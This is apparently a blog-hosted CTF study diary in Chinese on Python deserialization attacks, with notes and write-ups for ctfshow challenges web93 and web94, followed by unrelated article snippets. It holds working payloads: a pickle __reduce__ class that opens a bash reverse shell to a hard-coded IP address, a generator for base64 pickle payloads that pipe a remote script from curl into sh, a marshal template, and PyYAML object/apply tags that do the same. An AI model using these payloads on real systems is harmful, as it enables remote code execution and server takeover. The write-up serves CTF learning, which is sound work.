当前位置: 首页 > news >正文

Jay17 2023.8.10日报

笔记

【python反序列化】

序列化
类对象->字节流(字符串)

反序列化
字节流->对象

python反序列化没PHP这么灵活,没这么多魔术方法。


import pickle
import os

class ctfshow():
def init(self):
self.username=0
self.password=0

def login(self,username,password):return username=="admin" and password=="123456"

c=ctfshow()

data=c.login(“admin”,“123456”) #返回True

print(data)


import pickle
import os
import base64

class ctfshow():
def init(self):
self.username=0
self.password=0

def login(self,username,password):return username=="admin" and password=="123456"#相当于PHP里面的__wakeup()
#返回值,第一个元素是 回调函数,第二个元素是回调函数的参数。
#第二个元素是一个元组,包含两个及以上元素。
def __reduce__(self):print("reduce")return os.system,('bash -i >& /dev/tcp/120.46.41.173/9023 0>&1',)



c=ctfshow()

#序列化,生成字节流。这种方式,直接CV容易丢失不可见字符。
#serialize = pickle.dumps©
#输出base64编码后的paylaod,可以CV。
#print(base64.b64encode(serialize))
#反序列化,执行命令
#pickle.loads(serialize)

#写入文件
with open(“ctfshow.ser”,“wb”) as f:
pickle.dump(c,f)
with open(“ctfshow.ser”,“rb”) as f:
pickle.load(f)


注意点:
向服务端传入payload,如果出现报错如【ModuleNotFoundError: No module named ‘nt’】
遇到这种情况是因为自己的操作系统和服务器的操作系统不一致。

服务端如果是linux,我们的序列化字符串(payload) 也得在linux操作系统里面生成。

python序列化常用的模板: //例题93
1 pickle
2 json

【特征:】
竟然不需要 恶意类

反序列化字符串里面包含类的所有定义,包括类的方法
php反序列化时,只能控制类的属性,利用现有的魔术方法做跳板
python反序列化时,直接可以不需要恶意类,也不需要现有的魔术方法,直接产生类的定义并执行__reduce__方法




Marshal 反序列化
pickle 类无法序列化 code类,为了弥补这个问题,2.6以后增加了marshal模块来处理

模板:
import base64
import pickle
import marshal

def foo():
import os
os.system(‘whoami;/bin/sh’) # evil code

shell = “”“ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S’%s’
tRtRc__builtin__
globals
(tRS’’
tR(tR.”“” % base64.b64encode(marshal.dumps(foo.func_code))

print(pickle.loads(shell))




PyYAML 反序列化 //例题94
!!python/object 标签
!!python/object/new 标签
!!python/object/apply 标签

payload:
data=!!python/object/apply:os.system [“curl https://your-shell.com/43.154.107.226:3389 |sh”]




题解wp

web93

题目要求我们在/unserialize路由POST提交一个参数data,data经过base64编码。

image-20230810164544248

不知道题目的考点,先传参data=MQ==看看报错。MQ==1的base64编码。

image-20230810165052158

发现了关键代码,pickle反序列化。pytohn版本是3.8

#base64解码传进来的值,并且赋值给data
data = base64.b64decode(request.form['data'])
#反序列化data数据
pickle.loads(data)
#返回反序列化结束提示
return "unserialize done "+request.form['data']

生成payload的脚本:

import pickle
import os
import base64class ctfshow():def __init__(self):self.username=0self.password=0#相当于PHP里面的__wakeup()#返回值,第一个元素是 回调函数,第二个元素是回调函数的参数。#第二个元素是一个元组,包含两个及以上元素。def __reduce__(self):print("reduce")#弹shellreturn (os.system,('curl https://your-shell.com/vps-ip:port | sh',))c=ctfshow()#序列化,生成字节流。这种方式,直接CV容易丢失不可见字符。
serialize = pickle.dumps(c)
#输出base64编码后的paylaod,可以CV。
print(base64.b64encode(serialize))#反序列化,执行命令
#pickle.loads(serialize)#写入文件
#with open("ctfshow.ser","wb") as f:
#	pickle.dump(c,f)
#with open("ctfshow.ser","rb") as f:
#	pickle.load(f)

注意点:

向服务端传入payload,如果出现报错如**【ModuleNotFoundError: No module named ‘nt’】**
遇到这种情况是因为自己的操作系统和服务器的操作系统不一致。
服务端如果是linux,我们的序列化字符串(payload) 也得在linux操作系统里面生成。

同时,python版本也需要一致。

KALI是linux,在KALI里面生成payload。

那就又来了一个注意点

一开始一直报错:

partially initialized module 'pickle' has no attribute 'dumps' (most likely due to a circular import)

image-20230810172808787

尝试过重装pickle库、重装pip,都没用。后来发现是文件名和pickle库的名字重了,文件名不能是pickle.py

image-20230810172845065

经过尝试,服务端应该是把ncbash两个命令给ban了,只能用平台来弹shell。

image-20230810201223690

image-20230810201240153

web94

题目明显提示是python中的PyYAML 反序列化。

image-20230810214851629

PyYAML 反序列化利用方面,危险标签有三种。

!!python/object 标签
!!python/object/new 标签
!!python/object/apply 标签

这次还是选择使用平台来反弹shell,估计还是把ncbash两个命令给ban了。

经过尝试,能用的危险标签是!!python/object/new!!python/object/apply

payload:

data=!!python/object/new:os.system ["curl https://your-shell.com/vps-ip:port |sh"]data=!!python/object/apply:os.system ["curl https://your-shell.com/vps-ip:port |sh"]

image-20230810215348295

直接拿flag了。

image-20230810215421614

相关文章:

Jay17 2023.8.10日报

笔记 【python反序列化】 序列化 类对象->字节流(字符串) 反序列化 字节流->对象 python反序列化没PHP这么灵活,没这么多魔术方法。 import pickle import os class ctfshow(): def init(self): self.username0 self.password0 d…...

Winform中DatagridView 表头实现一个加上一个checkBox,实现全选选项功能

实现效果 点击checkBox1或者直接在第一列列表头点击即可实现 代码实现 我的datagridview叫dgv 我在datagridview已经默认添加了一个DataGridViewCheckBoxColumn,勾选时value为1,不勾选时value为0 第一种通过可视化拖动一个checkBox来实现 拖动组…...

rust基础

这是笔者学习rust的学习笔记(如有谬误,请君轻喷) 参考视频: https://www.bilibili.com/video/BV1hp4y1k7SV参考书籍:rust程序设计语言:https://rust.bootcss.com/title-page.htmlmarkdown地址:h…...

剑指offer39.数组中出现次数超过一半的数字

这个题非常简单&#xff0c;解法有很多种&#xff0c;我用的是HashMap记录每个元素出现的次数&#xff0c;只要次数大于数组长度的一半就返回。下面是我的代码&#xff1a; class Solution {public int majorityElement(int[] nums) {int len nums.length/2;HashMap<Integ…...

spring技术栈面试题

1 Spring支持的事务管理类型有哪些&#xff1f;你在项目中使用哪种方式&#xff1f; Spring支持两种类型的事务管理&#xff1a; 编程式事务管理&#xff1a;这意味你通过编程的方式管理事务&#xff0c;给你带来极大的灵活性&#xff0c;但是难维护。声明式事务管理&#x…...

Android Glide MemorySizeCalculator计算值,Kotlin

Android Glide MemorySizeCalculator计算值,Kotlin for (i in 100..1000 step 50) {val calculator MemorySizeCalculator.Builder(this).setMemoryCacheScreens(i.toFloat()).setBitmapPoolScreens(i.toFloat()).setMaxSizeMultiplier(0.8f).setLowMemoryMaxSizeMultiplier(0…...

KEIL自带的Jlink怎么升级更换版本

问题背景 V4.20以上的keil安装包中都自带Jlink驱动包&#xff0c;即当你安装了KEIL后&#xff0c;Debug或Download就是用的安装KEIL时附带安装的Jlink版本。 那如果存在这种情况&#xff0c;你正在开发的芯片比较新&#xff0c;只有比较新的Jlink驱动软件才能支持&#xff0c…...

图的遍历之 深度优先搜索和广度优先搜索

深度优先搜索的图文介绍 1. 深度优先搜索介绍 图的深度优先搜索(Depth First Search)&#xff0c;和树的先序遍历比较类似。 它的思想&#xff1a;假设初始状态是图中所有顶点均未被访问&#xff0c;则从某个顶点v出发&#xff0c;首先访问该顶点&#xff0c;然后依次从它的各…...

Java学习笔记27——file类

File类 概述和构造方法概述构造方法 File的创建功能File类判断和获取功能File的删除功能 概述和构造方法 概述 在java.io下 具体的类 file是文件和目录路径名的抽象表示 文件和目录是可以封装成对象的对于file而言&#xff0c;其封装的并不是真正存在的文件&#xff08;可以…...

细胞——求细胞数量 C++详解

细胞——求细胞数量 C详解 求细胞数量题目描述输入格式输出格式样例样例输入样例输出 提示数据规模与约定 解法代码 求细胞数量 题目描述 一矩形阵列由数字 0 0 0 到 9 9 9 组成&#xff0c;数字 1 1 1 到 9 9 9 代表细胞&#xff0c;细胞的定义为沿细胞数字上下左右若还…...

【计算机视觉】关于图像处理的一些基本操作

目录 图像平滑滤波处理均值滤波计算过程python实现 高斯滤波计算过程python实现 中值滤波计算过程python实现 图像的边缘检测Robert算子计算过程python实现 图像处理腐蚀算子计算过程python实现 Hog&#xff08;梯度方向直方图&#xff09;特征计算流程&#xff1a;Hog的特征维…...

Android Animation Made Easy

原文链接 Android Animation Made Easy 动画在任何一个GUI系统中都是一个非常重要的设计元素&#xff0c;它可以让交互变得优雅&#xff0c;让界面变得炫酷&#xff0c;让操作变得更加的舒畅&#xff0c;让状态过渡变得更加的顺滑&#xff0c;对视觉效果有极大的提升&#xff…...

56从零开始学Java之与字符串相关的正则表达式

作者&#xff1a;孙玉昌&#xff0c;昵称【一一哥】&#xff0c;另外【壹壹哥】也是我哦 千锋教育高级教研员、CSDN博客专家、万粉博主、阿里云专家博主、掘金优质作者 前言 在上一篇文章中&#xff0c;壹哥给大家介绍了String字符串及其各种常用API方法&#xff0c;接下来壹哥…...

STM32 定时器自动重装载寄存器ARR带来的影响,ARPE0和1区别

ARR是啥 自动重载寄存器是预装载的。对自动重载寄存器执行写入或读取操作时会访问预装载寄存器。预装载寄存器的内容既可以直接传送到影子寄存器&#xff0c;也可以在每次发生更新事件 (UEV) 时传送到影子寄存器&#xff0c;这取决于 TIMx_CR1 寄存器中的自动重载预装载使能位 …...

vue 把<style scoped lang=“less“> 单独写成less文件再导入使用

1 npm npm install less-loader --save-dev2 创建一个单独的 Less 文件&#xff0c;例如 app.less <style scoped lang"less"> import url(./app.less); </style>3 在 app.less 文件中&#xff0c;编写 Less 样式代码 .container {width: 500px;margi…...

C++ 字符串

C 字符串 一、字符串两种写法 c语言的写法&#xff0c;可以延用 const char* str1 "huang"; char str2[] "Hello, World!";c写法 std::string str "Hello, World!";二、字符串计算长度 c语言的计算字符串长度&#xff0c;需要导入库 #inc…...

springboot 报错处理(长期更新 2023.8.10)

目录 一、HTTP 相关1.1、 数据传输方面1.1.1、 HttpMessageNotWritableException1.1.1.1、 springboot + stomp 场景一、HTTP 相关 1.1、 数据传输方面 1.1.1、 HttpMessageNotWritableException 1.1.1.1、 springboot + stomp 场景 报错内容: 使用 spring boot 和 stomp 服…...

Maven出现报错 ; Unable to import maven project: See logs for details错误的多种解决方法

问题现象; IDEA版本&#xff1a; Maven 版本 &#xff1a; 3.3.9 0.检查 maven 的设置 &#xff1a;F:\softeware\maven\apache-maven-3.9.3\conf 检查setting.xml 配置 本地仓库<localRepository>F:\softeware\maven\local\repository</localRepository>镜像…...

33_windows环境debug Nginx 源码-安装WSL

文章目录 前言安装 WSL先决条件启用 windows 更新功能真正安装 WSL133_windows环境debug Nginx 源码-安装WSL前言 虽然很想在纯 windows 环境,基于windows 的生态完成debug,但现实情况是 由于Nginx 源码编写的很多内容都和 linux 更加耦合;且不说使用 Visual-Studio 安装 C/…...

Java中的ZooKeeper是什么?

Java中的ZooKeeper是一个开源的分布式协调服务&#xff0c;它可以帮助我们管理分布式系统中的数据和配置信息。ZooKeeper是由Facebook开发的一个开源项目&#xff0c;它被广泛用于Facebook的分布式系统。 ZooKeeper的名称来源于动物园管理员&#xff08;Zookeeper&#xff09;…...

IDEA运行Tomcat出现乱码问题解决汇总

最近正值期末周&#xff0c;有很多同学在写期末Java web作业时&#xff0c;运行tomcat出现乱码问题&#xff0c;经过多次解决与研究&#xff0c;我做了如下整理&#xff1a; 原因&#xff1a; IDEA本身编码与tomcat的编码与Windows编码不同导致&#xff0c;Windows 系统控制台…...

JVM垃圾回收机制全解析

Java虚拟机&#xff08;JVM&#xff09;中的垃圾收集器&#xff08;Garbage Collector&#xff0c;简称GC&#xff09;是用于自动管理内存的机制。它负责识别和清除不再被程序使用的对象&#xff0c;从而释放内存空间&#xff0c;避免内存泄漏和内存溢出等问题。垃圾收集器在Ja…...

UR 协作机器人「三剑客」:精密轻量担当(UR7e)、全能协作主力(UR12e)、重型任务专家(UR15)

UR协作机器人正以其卓越性能在现代制造业自动化中扮演重要角色。UR7e、UR12e和UR15通过创新技术和精准设计满足了不同行业的多样化需求。其中&#xff0c;UR15以其速度、精度及人工智能准备能力成为自动化领域的重要突破。UR7e和UR12e则在负载规格和市场定位上不断优化&#xf…...

全面解析各类VPN技术:GRE、IPsec、L2TP、SSL与MPLS VPN对比

目录 引言 VPN技术概述 GRE VPN 3.1 GRE封装结构 3.2 GRE的应用场景 GRE over IPsec 4.1 GRE over IPsec封装结构 4.2 为什么使用GRE over IPsec&#xff1f; IPsec VPN 5.1 IPsec传输模式&#xff08;Transport Mode&#xff09; 5.2 IPsec隧道模式&#xff08;Tunne…...

网站指纹识别

网站指纹识别 网站的最基本组成&#xff1a;服务器&#xff08;操作系统&#xff09;、中间件&#xff08;web容器&#xff09;、脚本语言、数据厍 为什么要了解这些&#xff1f;举个例子&#xff1a;发现了一个文件读取漏洞&#xff0c;我们需要读/etc/passwd&#xff0c;如…...

算法:模拟

1.替换所有的问号 1576. 替换所有的问号 - 力扣&#xff08;LeetCode&#xff09; ​遍历字符串​&#xff1a;通过外层循环逐一检查每个字符。​遇到 ? 时处理​&#xff1a; 内层循环遍历小写字母&#xff08;a 到 z&#xff09;。对每个字母检查是否满足&#xff1a; ​与…...

智能职业发展系统:AI驱动的职业规划平台技术解析

智能职业发展系统&#xff1a;AI驱动的职业规划平台技术解析 引言&#xff1a;数字时代的职业革命 在当今瞬息万变的就业市场中&#xff0c;传统的职业规划方法已无法满足个人和企业的需求。据统计&#xff0c;全球每年有超过2亿人面临职业转型困境&#xff0c;而企业也因此遭…...

ArcPy扩展模块的使用(3)

管理工程项目 arcpy.mp模块允许用户管理布局、地图、报表、文件夹连接、视图等工程项目。例如&#xff0c;可以更新、修复或替换图层数据源&#xff0c;修改图层的符号系统&#xff0c;甚至自动在线执行共享要托管在组织中的工程项。 以下代码展示了如何更新图层的数据源&…...

【Ftrace 专栏】Ftrace 参考博文

ftrace、perf、bcc、bpftrace、ply、simple_perf的使用Ftrace 基本用法Linux 利用 ftrace 分析内核调用如何利用ftrace精确跟踪特定进程调度信息使用 ftrace 进行追踪延迟Linux-培训笔记-ftracehttps://www.kernel.org/doc/html/v4.18/trace/events.htmlhttps://blog.csdn.net/…...

【版本控制】GitHub Desktop 入门教程与开源协作全流程解析

目录 0 引言1 GitHub Desktop 入门教程1.1 安装与基础配置1.2 核心功能使用指南仓库管理日常开发流程分支管理 2 GitHub 开源协作流程详解2.1 Fork & Pull Request 模型2.2 完整协作流程步骤步骤 1: Fork&#xff08;创建个人副本&#xff09;步骤 2: Clone&#xff08;克隆…...